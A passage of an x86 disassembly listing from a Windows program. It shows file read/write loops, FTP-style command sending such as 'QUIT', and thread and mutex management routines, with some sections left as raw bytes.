		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42E593


loc_42E4FA:				; CODE XREF: sub_42E400+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_4021F3
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42E523
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42E4FA
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E523:				; CODE XREF: sub_42E400+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E53D:				; CODE XREF: sub_42E400+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42E593
		mov	esi, dword_50FA94


loc_42E55A:				; CODE XREF: sub_42E400+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42E581
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42E55A
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E581:				; CODE XREF: sub_42E400+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42E593:				; CODE XREF: sub_42E400+F4j
					; sub_42E400+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		call	near ptr 77C3EEF6h
		nop
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42E5B6
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42E5B6:				; CODE XREF: sub_42E400+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BDB
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42E400	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E650:				; CODE XREF: ___:0040169Fj
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E680:				; CODE XREF: ___:00401D2Fj
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42E6B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6B7:				; CODE XREF: ___:0042E6AAj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_50FA60
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4454F4
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E6F8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6F8:				; CODE XREF: ___:0042E6EBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4456F8
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E754
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4456F0
		push	esi
		nop
		call	near ptr 77C41B72h
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42E754
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E754:				; CODE XREF: ___:0042E717j
					; ___:0042E738j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E7B0:				; CODE XREF: ___:004013BBj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42E7E0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7E0:				; CODE XREF: ___:0042E7D5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_445704
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E81B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E81B:				; CODE XREF: ___:0042E80Bj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E880	proc near		; CODE XREF: sub_4016A9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
sub_42E880	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8B0:				; CODE XREF: ___:004016C7j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8E0:				; CODE XREF: ___:00401492j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	esi, dword_50FA60
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_44571C
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E979
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_445710
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E979:				; CODE XREF: ___:0042E901j
					; ___:0042E91Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E9C0:				; CODE XREF: ___:00401C67j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E9E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: ___:0042E9E0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_445728
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EA40	proc near		; CODE XREF: sub_401D52j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42EA79
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42D1A0
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_50FAC4
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42EA79:				; CODE XREF: sub_42EA40+Aj
		pop	esi
		retn
sub_42EA40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EA90:				; CODE XREF: ___:0040219Ej
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42EAA0
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAA0:				; CODE XREF: ___:0042EA97j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42EAB6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAB6:				; CODE XREF: ___:0042EAADj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB10:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EB29
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EB29:				; CODE XREF: ___:0042EB20j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB60:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42EB85
		test	eax, eax
		jz	short loc_42EB85
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42EB85:				; CODE XREF: ___:0042EB74j
					; ___:0042EB78j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EBB0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EBC9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBC9:				; CODE XREF: ___:0042EBC0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42EBDD
		cmp	eax, 1
		jz	short loc_42EBDD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBDD:				; CODE XREF: ___:0042EBCFj
					; ___:0042EBD4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC00:				; CODE XREF: ___:0040150Fj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC20:				; CODE XREF: ___:00401825j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC40:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC59
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC59:				; CODE XREF: ___:0042EC50j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC80:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC99
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC99:				; CODE XREF: ___:0042EC90j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECC0:				; CODE XREF: ___:004019A1j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECF0:				; CODE XREF: ___:0040199Cj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_42ED12
		dec	eax
		jz	short loc_42ED02
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42ED02:				; CODE XREF: ___:0042ECFAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_42ED12:				; CODE XREF: ___:0042ECF7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED30:				; CODE XREF: ___:00401C08j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_42EDCB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_42EDCB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_42EDC2
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		jmp	short loc_42ED72
; ---------------------------------------------------------------------------


loc_42ED70:				; CODE XREF: ___:0042ED64j
					; ___:0042ED6Aj
		xor	eax, eax


loc_42ED72:				; CODE XREF: ___:0042ED6Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDB8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDAF
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDAF:				; CODE XREF: ___:0042EDA7j
		push	edi
		call	sub_401686
		add	esp, 4


loc_42EDB8:				; CODE XREF: ___:0042ED92j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_42EDC2:				; CODE XREF: ___:0042ED5Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDCB:				; CODE XREF: ___:0042ED39j
					; ___:0042ED45j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EE10:				; CODE XREF: ___:004021E9j
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_42EE78
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_42EE78
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE6E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE5F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE5F:				; CODE XREF: ___:0042EE4Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C76
		add	esp, 0Ch


loc_42EE6E:				; CODE XREF: ___:0042EE3Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE78:				; CODE XREF: ___:0042EE1Aj
					; ___:0042EE21j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EEB0:				; CODE XREF: ___:00401799j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_42EF64
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42EF64
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 27605F1h
		test	eax, eax
		jnz	short loc_42EEF7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_42EF44
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_40204A
		add	esp, 8
		mov	esi, eax
		jmp	short loc_42EF40
; ---------------------------------------------------------------------------


loc_42EEF7:				; CODE XREF: ___:0042EED8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_42EF1B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_42EF1D


loc_42EF1B:				; CODE XREF: ___:0042EF07j
		xor	ebx, ebx


loc_42EF1D:				; CODE XREF: ___:0042EF19j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_42EF40
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42EF40:				; CODE XREF: ___:0042EEF5j
					; ___:0042EF2Fj
		test	esi, esi
		jnz	short loc_42EF5E


loc_42EF44:				; CODE XREF: ___:0042EEE2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_50E3EC	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_42EF5E:				; CODE XREF: ___:0042EF42j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF64:				; CODE XREF: ___:0042EEB7j
					; ___:0042EEC1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFA0:				; CODE XREF: ___:00401F50j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42EFC3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42EFC3:				; CODE XREF: ___:0042EFB2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFF0:				; CODE XREF: ___:00401A73j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42F011
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42F011
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F011:				; CODE XREF: ___:0042EFF9j
					; ___:0042EFFFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F030:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F04D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F04D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F04D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F04D:				; CODE XREF: ___:0042F036j
					; ___:0042F03Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F070:				; CODE XREF: ___:0040162Cj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F09A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F09A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F08E
		test	eax, eax
		jnz	short loc_42F09A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F08E:				; CODE XREF: ___:0042F085j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F09A:				; CODE XREF: ___:0042F076j
					; ___:0042F07Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F0B0	proc near		; CODE XREF: sub_40140Bj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F0B0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 3312B2E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 33138EE8h, 0A4E85302h
		dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h,	83FFFD1Fh
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F170:				; CODE XREF: ___:0040223Ej
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 3311F2E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 3312CEE8h, 0E4E85702h
		dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F230	proc near		; CODE XREF: sub_401CEEj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F230	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 1155E850h, 85900233h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
		dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F2B0:				; CODE XREF: ___:00401D25j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_42F3E9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42F2EB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F2EB:				; CODE XREF: ___:0042F2DCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A50
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402225
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_42F3C2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_42F3C2
		cmp	[esi+0Ch], ebp
		jge	loc_42F3D5
		test	edi, edi
		jz	short loc_42F354
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F354:				; CODE XREF: ___:0042F329j
		mov	edi, [esi+4]
		push	edi
		call	near ptr 27509EAh
		nop
		push	0
		push	edi
		nop
		call	near ptr 27603AFh
		cmp	eax, 102h
		jnz	short loc_42F3E2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		call	near ptr 2750AF6h
		nop
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_42F460
		push	ecx
		push	edi
		call	near ptr 2750C97h
		nop
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		nop
		call	near ptr 2760000h
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F3C2:				; CODE XREF: ___:0042F30Dj
					; ___:0042F318j
		cmp	[esi+0Ch], ebp
		jge	short loc_42F3D5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2760203h
		test	eax, eax
		jnz	short loc_42F3D9


loc_42F3D5:				; CODE XREF: ___:0042F321j
					; ___:0042F3C5j
		mov	[esp+10h], ebp


loc_42F3D9:				; CODE XREF: ___:0042F3D3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_42F3E2:				; CODE XREF: ___:0042F36Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


